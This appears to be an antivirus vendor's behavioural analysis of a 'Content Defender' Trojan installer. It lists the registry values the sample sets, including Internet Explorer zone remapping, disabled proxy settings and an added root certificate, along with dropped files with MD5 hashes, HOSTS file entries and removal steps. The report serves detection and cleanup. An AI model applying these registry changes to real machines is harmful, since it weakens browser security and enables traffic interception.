[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"

"CategoryCount" = "16"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\1eea3cd18afe3e560233e1b505c52625\DEBUG]
"Trace Level" = ""

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\5ADA6C69-ADAD-4CA0-85A0-95093894E0BC]
"ASIns.exe" = "ASIns"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B5 3E 9A 4A 90 9A 25 88 6A 9D A6 9E 09 86 9D 26"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\E1845D56-14DB-4B2A-A5F0-ECB5172B0CDF]
"condefsetup (19).exe" = "Content Defender Setup"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\1eea3cd18afe3e560233e1b505c52625\DEBUG]
"Trace Level"

The process cd.exe:2008 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "34 EF CD F6 01 F3 C3 FE E7 A4 87 BC 3F 5C 92 16"

[HKCR\TypeLib\{CCA2A357-CCB4-41C9-B6F5-4F202B8CDC82}\1.0]
"(Default)" = "ContentDefenderLib"

[HKCR\Interface\{B28F9114-243E-4046-B173-11825352D18A}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCR\CLSID\{9B7395C3-28B5-445E-AA7D-539B63514CAB}\Version]
"(Default)" = "1.0"

[HKCR\TypeLib\{CCA2A357-CCB4-41C9-B6F5-4F202B8CDC82}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Interface\{B28F9114-243E-4046-B173-11825352D18A}\TypeLib]
"(Default)" = "{CCA2A357-CCB4-41C9-B6F5-4F202B8CDC82}"

[HKCR\TypeLib\{CCA2A357-CCB4-41C9-B6F5-4F202B8CDC82}\1.0\0\win32]
"(Default)" = "%Program Files%\Content Defender\cd.exe"

[HKCR\AppID\{3E0DB45B-9FCC-4064-B48C-080BD03A99A4}]
"LocalService" = "cd"

[HKCR\Interface\{B28F9114-243E-4046-B173-11825352D18A}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\TypeLib\{CCA2A357-CCB4-41C9-B6F5-4F202B8CDC82}\1.0\HELPDIR]
"(Default)" = "%Program Files%\Content Defender"

[HKCR\CLSID\{9B7395C3-28B5-445E-AA7D-539B63514CAB}\TypeLib]
"(Default)" = "{CCA2A357-CCB4-41C9-B6F5-4F202B8CDC82}"

[HKCR\CLSID\{9B7395C3-28B5-445E-AA7D-539B63514CAB}\LocalServer32]
"(Default)" = "%Program Files%\Content Defender\cd.exe"

[HKCR\Interface\{B28F9114-243E-4046-B173-11825352D18A}]
"(Default)" = "IDefenderControl"

[HKCR\CLSID\{9B7395C3-28B5-445E-AA7D-539B63514CAB}\LocalServer32]
"ServerExecutable" = "%Program Files%\Content Defender\cd.exe"

[HKCR\Interface\{B28F9114-243E-4046-B173-11825352D18A}\ProxyStubClsid]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\CLSID\{9B7395C3-28B5-445E-AA7D-539B63514CAB}]
"(Default)" = "DefenderControl Class"

The Trojan deletes the following value(s) in system registry:

[HKCR\AppID\{3E0DB45B-9FCC-4064-B48C-080BD03A99A4}]
"LocalService"

The process cd.exe:1296 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\LocalService\Local Settings\Application Data"

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"DisableTaskOffload" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\ContentDefender]
"Installed" = "1"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7FB868A507406170F626387315E0670157CAA138]
"Blob" = "03 00 00 00 01 00 00 00 14 00 00 00 7F B8 68 A5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\ContentDefender]
"ff" = "yes"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "01 49 1E BE 4A D6 A2 AF 59 38 72 1A F1 4A AF B4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ParseAutoexec" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates]
"7FB868A507406170F626387315E0670157CAA138"

Dropped PE files

MD5	File path
3464bc076d7d6fcd19fd50ebd19f5741	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\E1845D56-14DB-4B2A-A5F0-ECB5172B0CDF\condefsetup (19).exe
3c85a37a54db8567fb49454f1e843995	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\tdi__amd64.sys
14a2aef6aff5a438acace9c1d1b09ab8	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\tdi__i386.sys
2662a31ffc8565492a0492ae90ac52d7	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows7_amd64.sys
39d01796ee492a83b113c0b4e42029df	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows7_i386.sys
bb403a2ec69885a71c23b54a4681c6ab	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows8_amd64.sys
09fdb4dc6d10d90e1022605271b410b6	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows8_i386.sys
c9a57b85b5e3525eb12a5f8842ec31af	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\ContentDefenderControl.exe
83a06ef0da07004ff083e4f8d883f5d0	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\ContentDefenderPS.dll
0cf3fffe01b3e10170252060e384992d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\cd.exe
f2b8f4dd1537bed0eab1af1a685385a3	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\condefclean.exe
1f4aa52cda820a6673d51a29625ab27c	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\import_root_cert.exe
99d21c17565ec8a20fcdc90b6b842bf7	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\libeay32.dll
5888b9054f889d4f94091f68049eac82	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nfregdrv.exe
a6c4a86a016cf62b949546a4629072b0	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\certutil.exe
c2bd7f2bda94f7c4f2c4cee0413c38a3	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\mozcrt19.dll
61a1f11a8d031c525636d67bf6378e16	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\nspr4.dll
a5a8f547c982af1da2a34aa717b00a0d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\nss3.dll
036abc7576e02be68480c57a7dc60010	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\plc4.dll
6117994e7e30bf20ad42f81cf486f5e7	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\plds4.dll
044213f6a4c6ced0e8d935587657066a	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\smime3.dll
47b4d529901fdcccc9f46d8c64ebda6d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\softokn3.dll
6b9dfbfcc91ba1dcb86ea1f8d3ee259b	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\ssleay32.dll
d1c64eb593b7c75caa1f720b20fcbfca	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\ContentDefenderControl.exe
f228f6dba41ee23f4a4fa6a94720126e	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\ContentDefenderPS.dll
7752b437c2f8ab242d206f4fff7d898d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\cd.exe
ab32d5d764d252be947747807cf19b47	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\condefclean.exe
9072f540831eb094de5826a73ca899da	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\import_root_cert.exe
bc1f19367a5e597ebdf2f1b357ab9f8e	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\libeay32.dll
012d3afc8d4c07bc639970aa3d16bd75	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nfregdrv.exe
7dc4abffeb842ced0a4b8c340f85cec3	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\certutil.exe
7b2aedbd790196a04d37eb9ce3e79858	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\mozcrt19.dll
2875e121662118df6711ccacc59a5e91	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\nspr4.dll
78bffb8f373269b174e6b125b556009b	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\nss3.dll
6d6487a060f245818c5ffdf5c92c3326	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\plc4.dll
371182686c722038a05c6df300dbae37	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\plds4.dll
ffacc094cc51ec7ea40e04963050859f	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\smime3.dll
007473ce8c0e03b7d851d1620af113f8	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\softokn3.dll
73eaf0ffe4f1e3d66a4dccbfb00579a4	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\ssleay32.dll
3464bc076d7d6fcd19fd50ebd19f5741	c:\Program Files\Content Defender\ConDefSetup.exe
c9a57b85b5e3525eb12a5f8842ec31af	c:\Program Files\Content Defender\ContentDefenderControl.exe
83a06ef0da07004ff083e4f8d883f5d0	c:\Program Files\Content Defender\ContentDefenderPS.dll
0cf3fffe01b3e10170252060e384992d	c:\Program Files\Content Defender\cd.exe
f2b8f4dd1537bed0eab1af1a685385a3	c:\Program Files\Content Defender\condefclean.exe
1f4aa52cda820a6673d51a29625ab27c	c:\Program Files\Content Defender\import_root_cert.exe
99d21c17565ec8a20fcdc90b6b842bf7	c:\Program Files\Content Defender\libeay32.dll
5888b9054f889d4f94091f68049eac82	c:\Program Files\Content Defender\nfregdrv.exe
a6c4a86a016cf62b949546a4629072b0	c:\Program Files\Content Defender\nss\certutil.exe
c2bd7f2bda94f7c4f2c4cee0413c38a3	c:\Program Files\Content Defender\nss\mozcrt19.dll
61a1f11a8d031c525636d67bf6378e16	c:\Program Files\Content Defender\nss\nspr4.dll
a5a8f547c982af1da2a34aa717b00a0d	c:\Program Files\Content Defender\nss\nss3.dll
036abc7576e02be68480c57a7dc60010	c:\Program Files\Content Defender\nss\plc4.dll
6117994e7e30bf20ad42f81cf486f5e7	c:\Program Files\Content Defender\nss\plds4.dll
044213f6a4c6ced0e8d935587657066a	c:\Program Files\Content Defender\nss\smime3.dll
47b4d529901fdcccc9f46d8c64ebda6d	c:\Program Files\Content Defender\nss\softokn3.dll
6b9dfbfcc91ba1dcb86ea1f8d3ee259b	c:\Program Files\Content Defender\ssleay32.dll
14a2aef6aff5a438acace9c1d1b09ab8	c:\WINDOWS\system32\drivers\condef.sys

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 841 bytes in size. The following strings are added to the hosts file listed below:

127.0.0.1	down.baidu2016.com
127.0.0.1	123.sogou.com
127.0.0.1	www.czzsyzgm.com

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   condefsetup (19).exe:832
   ASIns.exe:1308
   verclsid.exe:888
   cd.exe:2008
   cd.exe:1296

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\mozcrt19.dll (7581 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nfregdrv.exe (1821 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\condefclean.exe (7716 bytes)
   %Program Files%\Content Defender\nfregdrv.exe (601 bytes)
   %Program Files%\Content Defender\nss\smime3.dll (601 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\certutil.exe (6324 bytes)
   %Program Files%\Content Defender\ssleay32.dll (2105 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\smime3.dll (7716 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows7_i386.sys (47 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\softokn3.dll (4061 bytes)
   %Program Files%\Content Defender\ContentDefenderPS.dll (13 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\certutil.exe (6324 bytes)
   %Program Files%\Content Defender\libeay32.dll (9098 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\nspr4.dll (1821 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\ContentDefenderControl.exe (10588 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\import_root_cert.exe (941 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Program Files%\Content Defender\nss\plds4.dll (17 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows8_amd64.sys (58 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows7_i386.sys (3516 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\cd.exe (6341 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\plds4.dll (17 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\condefclean.exe (7716 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\import_root_cert.exe (6724 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\import_root_cert.exe (941 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\plds4.dll (17 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\ssleay32.dll (4061 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\ContentDefender.zip (37274 bytes)
   %Program Files%\Content Defender\nss\softokn3.dll (2105 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\plds4.dll (580 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\softokn3.dll (25100 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\tdi__amd64.sys (61 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\softokn3.dll (25100 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\ContentDefenderPS.dll (6116 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\plc4.dll (20 bytes)
   %System%\drivers\condef.sys (56 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\condefclean.exe (941 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\condefclean.exe (941 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\driver\tdi__i386.sys (4012 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\smime3.dll (7716 bytes)
   %Program Files%\Content Defender\nss\mozcrt19.dll (4545 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\ContentDefenderPS.dll (941 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\libeay32.dll (86270 bytes)
   %Program Files%\Content Defender\nss\nspr4.dll (673 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\libeay32.dll (11493 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\ContentDefenderControl.exe (8836 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\ContentDefenderControl.exe (1821 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows7_amd64.sys (4012 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\nspr4.dll (11620 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\ContentDefenderPS.dll (484 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nfregdrv.exe (9476 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\nspr4.dll (11620 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\plc4.dll (20 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows8_amd64.sys (4356 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nfregdrv.exe (9196 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\import_root_cert.exe (6724 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\mozcrt19.dll (7581 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\ContentDefenderControl.exe (1821 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\nss3.dll (24908 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\certutil.exe (941 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\cd.exe (41084 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows8_i386.sys (48 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\ssleay32.dll (26028 bytes)
   %Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\nss3.dll (4061 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\smime3.dll (941 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\plc4.dll (580 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\mozcrt19.dll (48748 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\win32\cd.exe (34724 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\driver\tdi__amd64.sys (4356 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\softokn3.dll (4061 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\certutil.exe (941 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\tdi__i386.sys (56 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\libeay32.dll (156321 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\libeay32.dll (20400 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\plds4.dll (580 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\ssleay32.dll (32684 bytes)
   %Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\mozcrt19.dll (48748 bytes)
